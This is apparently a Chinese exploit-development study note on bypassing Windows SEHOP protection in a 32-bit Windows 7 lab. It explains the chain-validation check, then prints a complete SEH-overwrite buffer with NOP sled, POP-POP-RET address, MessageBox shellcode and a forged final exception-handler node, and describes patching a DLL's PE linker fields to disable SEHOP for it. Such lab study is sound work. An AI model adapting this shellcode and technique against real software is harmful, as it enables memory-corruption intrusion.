启程
仁慈的父我已坠入看不见罪的国度 请原谅我的自负 没人能说没人可说 好难承受 荣耀的背后刻着一道孤独
之前我还没有了解过SEHOP机制,正好来学习一下。
SEHOP原理
SEHOP即Structured Exception Handling Overwrite Protection
。它从Vista SP1开始被支持,但默认关闭,在Server 2008上默认启用。可以按照如下方式自行开启:
将HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\kernel:DisableExceptionChainValidation
设为零即可:
参考0day安全|06 形形色色的内存攻击技术我们知道一个典型的SEH链表如下图所示:
SEHOP的核心任务是:检查该SEH链的完整性,在程序转入异常处理前检查SEH链最后的异常处理函数是否为系统固定的终极异常处理函数。它的检测流程如下:
if (process_flags & 0x40 == 0) { // 如果没有SEH记录则不进行检测
if (record != 0xFFFFFFFF) { // 开始检测
do {
// SEH 记录必须位于栈中
if (record < stack_bottom || record > stack_top)
goto corruption;
// SEH 记录结构需完全在栈中
if ((char*)record + sizeof(EXCEPTION_REGISTRATION) > stack_top)
goto corruption;
//SEH记录必须4字节对齐
if ((record & 3) != 0)
goto corruption;
// 异常处理函数地址不能位于栈中
handler = record->handler;
if (handler >= stack_bottom && handler < stack_top)
goto corruption;
record = record->next;
} while (record != 0xFFFFFFFF); // 遍历SEH链
if ((TEB->word_at_offset_0xFCA & 0x200) != 0) {
// 核心检测!
if (handler != &FinalExceptionHandler)
goto corruption;
}
}
}
在这种缓解措施下,覆盖SEH异常处理函数指针的攻击方式不再有效,因为我们会将SEH节点指向下一个节点的指针覆盖为类空指令,从而使得SEHOP在遍历链表时发现无法遍历到FinalExceptionHandler
,于是将发现异常。另外,该检查在SafeSEH的RtlIsValidHandler之前进行,所以用于绕过SafeSEH的方法(0day安全|11 亡羊补牢:SafeSEH)也均失效。
对此,绕过思路主要有三种:
- 不去攻击SEH
- 利用未启用SEHOP的模块
- 伪造SEH链
后面我们将分别说明。
攻击返回地址
也就是未启用GS的情况。不涉及SEH。略。
攻击虚函数
同样不涉及SEH。略。
利用未启用SEHOP的模块
微软没有在编译器中提供禁用SEHOP选项,但是出于兼容性考虑还是对一些程序禁用SEHOP,如Armadilo加壳的软件。操作系统根据PE头中MajorLinkerVersion
和MinorLinkerVersion
两个选项判断是否为程序禁用SEHOP。我们可以通过将它们分别设置为0x53
/0x52
来模拟被Armadilo加壳的程序。
由于绕过SEHOP后还需要绕过SafeSEH,所以我们在0day安全|11 亡羊补牢:SafeSEH的“利用未启用SafeSEH模块”实验的基础上来进行本次试验。
# 实验环境
测试环境: Windows 7 32位
漏洞程序编译器:VS 2008
系统SEHOP:启用
ASLR:关闭(其实只要DLL的ASLR禁用即可)
优化选项:禁用
DEP选项/NXCOMPAT: NO
GS: 关闭
build版本:release
DLL和漏洞测试程序代码不再贴出,可以在0day安全|11 亡羊补牢:SafeSEH获取。需要注意的是,Windows 7下的PEB_LDR_DATA
指向的加载模块列表中第二个模块位置被KERNELBASE.dll
占据,kernel32.dll
位置由第二个变为第三个。所以我们的messagebox弹窗payload需要做相应修改:
// 170 messagebox
"\xfc\x68\x6a\x0a\x38\x1e\x68\x63\x89\xd1\x4f\x68\x32\x74\x91\x0c"
"\x8b\xf4\x8d\x7e\xf4\x33\xdb\xb7\x04\x2b\xe3\x66\xbb\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xd2\x64\x8b\x5a\x30\x8b\x4b\x0c\x8b"
"\x49\x1c\x8b\x09"
"\x8b\x09" // add one more \x8b\x09 here! That is mov ecx, [ecx]
"\x8b\x69\x08\xad\x3d\x6a\x0a\x38\x1e\x75\x05\x95"
"\xff\x57\xf8\x95\x60\x8b\x45\x3c\x8b\x4c\x05\x78\x03\xcd\x8b\x59"
"\x20\x03\xdd\x33\xff\x47\x8b\x34\xbb\x03\xf5\x99\x0f\xbe\x06\x3a"
"\xc4\x74\x08\xc1\xca\x07\x03\xd0\x46\xeb\xf1\x3b\x54\x24\x1c\x75"
"\xe4\x8b\x59\x24\x03\xdd\x66\x8b\x3c\x7b\x8b\x59\x1c\x03\xdd\x03"
"\x2c\xbb\x95\x5f\xab\x57\x61\x3d\x6a\x0a\x38\x1e\x75\xa9\x33\xdb"
"\x53\x68\x2d\x6a\x6f\x62\x68\x67\x6f\x6f\x64\x8b\xc4\x53\x50\x50"
"\x53\xff\x57\xfc\x53\xff\x57\xf8";
具体而言,参考0day安全 | 03 开发shellcode的艺术我们知道定位kernel32.dll的汇编指令如下:
; find base addr of kernel32.dll
mov ebx, fs:[edx + 0x30] ; ebx = address of PEB
mov ecx, [ebx + 0x0c] ; ecx = pointer to loader data
mov ecx, [ecx + 0x1c] ; ecx = pointer first entry in initialization order list
mov ecx, [ecx] ; ecx = second entry in list (kernel32.dll)
mov ebp, [ecx + 0x08] ; ebp = base address of kernel32.dll
从mov ecx, [ecx]
开始,其实就是遍历链表的过程。既然kernel32.dll由第二个节点变为第三个节点,那么我们只需要多往下遍历一个节点即可。所以多添加一个mov ecx, [ecx]
指令就好。
我们只要求DLL的ASLR关闭,方便我们定位跳板即可,但为了走一遍Win7下关闭系统ASLR的流程,我们直接将整个系统的ASLR关闭。不得不说,EMET真的很方便啊:
按如上方式修改,然后重启。在未修改DLL文件前先测试一下:
果然,同样的代码已经不能攻击成功了。下面我们使用CFF Explorer修改DLL文件PE头的MajorLinkerVersion
和MinorLinkerVersion
标识:
保存后再次运行漏洞程序:
成功。
伪造SEH链表
这个思路比较直接,也比较大胆,直接去伪造一个终极异常处理函数。流程大概如下:
为了使这种攻击生效,我们需要保证FinalExceptionHandler
不会随机,所以要关闭ASLR。同时,根据前面给出的SEHOP检测流程,我们还需要满足以下条件:
- 被覆盖的SEH节点的后向指针所指地址必须在栈中,且能够被4整除
- 上述的后向指针指向处的伪造SEH节点是链表的最后一项,即它的异常处理函数指针指向
FinalExceptionHandler
- 突破SEHOP后,还要绕过SafeSEH
我们同样在0day安全|11 亡羊补牢:SafeSEH的“利用未启用SafeSEH模块”实验的基础上来进行本次试验,不去考虑SafeSEH的问题。
需要注意的是,由于栈上地址带有尾零,所以我们要把测试代码中的strcpy
换成memcpy
进行测试。
首先build程序,然后在Win7上用OD打开,在堆栈窗口中拉到最底部看一下系统的终极SEH节点:
可以发现FinalExceptionHandler
地址为0x77F7AB2D
。于是我们在原shellcode后添加两个nop,保证地址对齐,再添加伪造的终极SEH节点:
// final SEH Node
"\xFF\xFF\xFF\xFF"
"\x2d\xab\xf7\x77";
然后再次build并用OD调试,记录下上述节点在栈上的起始地址(所以要关闭系统ASLR)。接着就可以构造最终的shellcode了:
char shellcode[] =
// 210 nop
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90"
// address of last seh record
"\x14\xff\x12\x00"
// PPR's address (in our dll)
"\x12\x10\x12\x11"
// 8 nop
"\x90\x90\x90\x90\x90\x90\x90\x90"
// 170 messagebox
"\xfc\x68\x6a\x0a\x38\x1e\x68\x63\x89\xd1\x4f\x68\x32\x74\x91\x0c"
"\x8b\xf4\x8d\x7e\xf4\x33\xdb\xb7\x04\x2b\xe3\x66\xbb\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xd2\x64\x8b\x5a\x30\x8b\x4b\x0c\x8b"
"\x49\x1c\x8b\x09\x8b\x09\x8b\x69\x08\xad\x3d\x6a\x0a\x38\x1e\x75\x05\x95"
"\xff\x57\xf8\x95\x60\x8b\x45\x3c\x8b\x4c\x05\x78\x03\xcd\x8b\x59"
"\x20\x03\xdd\x33\xff\x47\x8b\x34\xbb\x03\xf5\x99\x0f\xbe\x06\x3a"
"\xc4\x74\x08\xc1\xca\x07\x03\xd0\x46\xeb\xf1\x3b\x54\x24\x1c\x75"
"\xe4\x8b\x59\x24\x03\xdd\x66\x8b\x3c\x7b\x8b\x59\x1c\x03\xdd\x03"
"\x2c\xbb\x95\x5f\xab\x57\x61\x3d\x6a\x0a\x38\x1e\x75\xa9\x33\xdb"
"\x53\x68\x2d\x6a\x6f\x62\x68\x67\x6f\x6f\x64\x8b\xc4\x53\x50\x50"
"\x53\xff\x57\xfc\x53\xff\x57\xf8\x90\x90"
// final SEH Node
"\xFF\xFF\xFF\xFF"
"\x2d\xab\xf7\x77";
OK,build一下,用OD确认一下栈上的布置:
一切正常,测试:
有个问题:为什么我们不直接把后向指针指向程序自带的终极SEH节点呢?参考之前的图片,也就是0x0012FFE4
。这样一来我们就不必自己构造伪节点了。这是因为这个地址在作为指令执行使会影响控制流。我们可以在OD中单步跟进看看,当控制流转入shellcode时,该部分被解释如下:
该指令将导致控制流被打乱。
总结
可以发现,其实SEHOP加ASLR能够很有效地阻止SEH覆盖攻击发生。总之,缓冲区溢出是越来越困难了。